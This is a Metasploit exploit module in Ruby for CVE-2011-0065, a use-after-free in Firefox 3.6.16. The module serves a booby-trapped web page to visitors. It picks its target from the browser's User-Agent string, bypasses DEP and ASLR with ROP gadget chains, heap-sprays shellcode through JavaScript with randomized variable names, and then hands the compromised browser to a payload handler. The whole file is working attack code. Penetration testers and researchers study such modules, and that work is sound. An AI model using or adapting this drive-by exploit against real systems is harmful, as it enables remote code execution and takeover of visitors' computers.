##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name => HttpClients::FF,
		:ua_minver => "3.6.16",
		:ua_maxver => "3.6.16",
		:os_name => OperatingSystems::WINDOWS,
		:javascript => true,
		:rank => NormalRanking,
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability',
			'Description'    => %q{
					This module exploits an use after free vulnerability in Mozilla
				Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
				OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
				becomes a dangling pointer and can be reused when setting the OBJECTs
				data attribute. (Discovered by regenrecht). This module uses heapspray
				with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,
				a windows 7 target was provided using JAVA 6 and below to avoid aslr.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'regenrecht',  # discovery
					'Rh0',         # metasploit module
					'mr_me <steventhomasseeley[at]gmail.com>' # win7 target
				],
			'References'     =>
				[
					['CVE',    '2011-0065'],
					['OSVDB',  '72085'],
					['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
					['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space' => 1024,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[

					[ 'Automatic', { } ],

					# DEP bypass
					[
						'Firefox 3.6.16 on Windows XP SP3',
						{
							'Arch' => ARCH_X86,
							'Fakevtable' => 0x0c00,
							'Fakefunc' => 0x0c00001c,
						}
					],

					# requires JAVA <= JAVA 6 update 26
					# cop stack pivot = ASLR/DEP bypass
					[
						'Firefox 3.6.16 on Windows 7 + Java',
						{
							'Arch' => ARCH_X86,
							'Fakevtable' => 0x1000,
							'Fakefunc' => 0x100002a4,
							'Ppppr' => 0x7c3410c0,
							'Retn' => 0x7c3410c4,
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'May 10 2011'
			))
	end

	def junk
		return rand_text_alpha(4).unpack("L")[0].to_i
	end

	def on_request_uri(cli, request)

		# Random JavaScript variable names
		js_element_name      = rand_text_alpha(rand(10) + 5)
		js_obj_addr_name     = rand_text_alpha(rand(10) + 5)
		js_sc_name           = rand_text_alpha(rand(10) + 5)
		js_ret_addr_name     = rand_text_alpha(rand(10) + 5)
		js_chunk_name        = rand_text_alpha(rand(10) + 5)
		js_final_chunk_name  = rand_text_alpha(rand(10) + 5)
		js_block_name        = rand_text_alpha(rand(10) + 5)
		js_array_name        = rand_text_alpha(rand(10) + 5)
		js_retns             = rand_text_alpha(rand(10) + 5)
		js_applet_name       = rand_text_alpha(rand(10) + 5)
		js_ppppr             = rand_text_alpha(rand(10) + 5)
		js_filler            = rand_text_alpha(rand(10) + 5)

		agent = request.headers['User-Agent']

		# Set target manually or automatically
		my_target = target
		if my_target.name == 'Automatic'
			if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
				my_target = targets[1]
			elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
				my_target = targets[2]
			end
		end

		# check for non vulnerable targets
		if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
			print_error("Target not supported: #{agent}")
			send_not_found(cli)
			return
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli).encoded) == nil)

		if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/

			html_trigger = ""
			if ("/" == get_resource[-1,1])
				html_trigger = get_resource[0, get_resource.length - 1]
			else
				html_trigger = get_resource
			end

			custom_js = <<-JS
			function forward() {
				window.location = window.location + "#{html_trigger}.html";
			}

			function start() {
				setTimeout("forward()", 3500);
			}
			start();
			JS

		else
			if my_target.name =~ /Windows XP/

				# DEP bypass using xul.dll
				rop_gadgets = [
					0x1052c871,  # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll]
					junk,        # junk --------------------------------------------------------------^^
					0x7c801ad4,  # VirtualProtect
					junk,        # junk -------------------------------------------------------------------------^^
					junk,        # junk -------------------------------------------------------------------------^^
					0x1003876B,  # jmp esp
					0x0c000040,  # start address
					0x00000400,  # size 1024
					0x00000040,  # Page EXECUTE_READ_WRITE
					0x0c0c0c00,  # old protection
				].pack("V*")

				rop = rop_gadgets

			elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/

				# 5 gadgets to pivot using call oriented programming (cop)
				# these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr)
				# 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
				# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
				# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
				# 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
				# 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN

				rop_pivot = [
					0x6D32280C,  # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
					junk,        # filler
					0x6D7E627D,  # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
					0x7C3413A4,  # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
				].pack("V*")

				# 319

				# rop nops - RETN
				rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65)

				# POP r32 / RETN
				rop_pivot << [0x7c3410c3].pack("V*")

				# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
				rop_pivot << [0x6D7E5CDA].pack("V*")

				# rop nops - RETN
				rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65)

				# POP r32 / RETN
				rop_pivot << [0x7c3410c3].pack("V*")

				# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
				rop_pivot << [0x6D325BFC].pack("V*")

				# https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ <MSVCR71.dll>
				rop_gadgets = [
					0x7c346c0a,  # POP EAX / RETN
					0x7c37a140,  # Make EAX readable
					0x7c37591f,  # PUSH ESP / ... / POP ECX / POP EBP / RETN
					junk,        # EBP (filler)
					0x7c346c0a,  # POP EAX / RETN
					0x7c37a140,  # *&VirtualProtect()
					0x7c3530ea,  # MOV EAX,[EAX] / RETN
					0x7c346c0b,  # Slide, so next gadget would write to correct stack location
					0x7c376069,  # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
					junk,        # EDI (filler)
					junk,        # will be patched at runtime (VP), then picked up into ESI
					junk,        # EBX (filler)
					0x7c376402,  # POP EBP / RETN
					0x7c345c30,  # ptr to 'push esp /  ret'
					0x7c346c0a,  # POP EAX / RETN
					0xfffffdff,  # size 0x00000201 -> ebx
					0x7c351e05,  # NEG EAX / RETN
					0x7c354901,  # POP EBX / RETN
					0xffffffff,  # pop value into ebx
					0x7c345255,  # INC EBX / FPATAN / RETN
					0x7c352174,  # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
					0x7c34d201,  # POP ECX / RETN
					0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
					0x7c34b8d7,  # POP EDI / RETN
					0x7c34b8d8,  # ROP NOP (-> edi)
					0x7c344f87,  # POP EDX / RETN
					0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
					0x7c351eb1,  # NEG EDX / RETN
					0x7c346c0a,  # POP EAX / RETN
					0x90909090,  # NOPS (-> eax)
					0x7c378c81,  # PUSHAD / ADD AL,0EF / RETN
					0x90909090,  # NOPS (-> eax)
				].pack("V*")

				rop = rop_pivot + rop_gadgets

			end

			payload_buf  = ''
			payload_buf << rop
			payload_buf << p
			escaped_payload = Rex::Text.to_unescape(payload_buf)

			# setup the fake memory references
			fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
			fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))

			if my_target.name =~ /Windows XP/

				# fast loading JS so we dont get the 'unresponsive script' warning from ff
				custom_js = <<-JS
				#{js_element_name} = document.getElementById("d");
				#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

				#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
				var #{js_sc_name} = unescape("#{escaped_payload}");

				var #{js_ret_addr_name} = unescape("#{fakefunc}");
				while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
				var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
				#{js_chunk_name} += #{js_sc_name};
				#{js_chunk_name} += #{js_ret_addr_name};
				var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
				while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
				var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
				#{js_array_name} = new Array()
				for (n=0;n<0x80;n++){
					#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
				}
				JS
			elsif my_target.name =~ /Windows 7/

				# setup precision heap spray
				ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*'))
				retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*'))

				# fast loading JS so we dont get the 'unresponsive script' warning from ff
				# precision heap spray
				custom_js = <<-JS
				#{js_element_name} = document.getElementById("d");
				#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

				#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
				var #{js_sc_name} = unescape("#{escaped_payload}");

				var #{js_ret_addr_name} = unescape("#{fakefunc}");
				var #{js_retns} = unescape("#{retns}");

				#{js_ret_addr_name} += #{js_retns};
				#{js_ret_addr_name} += #{js_retns};
				#{js_ret_addr_name} += #{js_retns};
				#{js_ret_addr_name} += #{js_retns};

				var #{js_ppppr} = unescape("#{ppppr}");
				#{js_ret_addr_name} += #{js_ppppr};

				var #{js_filler} = unescape("%u4344%u4142");
				while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};}

				while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}

				var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);

				#{js_chunk_name} += #{js_sc_name};
				#{js_chunk_name} += #{js_filler};
				#{js_chunk_name} += #{js_ret_addr_name};

				var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
				while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
				var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
				#{js_array_name} = new Array()
				for (n=0;n<0x80;n++){
					#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
				}
				JS
			end
		end

		html = <<-HTML
		<html>
		<body>
			<object id="d"><object>
			<applet code="#{js_applet_name}.class" width=0 height=0></applet>
			<script type="text/javascript">
			#{custom_js}
			</script>
		</body>
		</html>
		HTML

		#Remove the extra tabs
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response_html(cli, html, { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

end
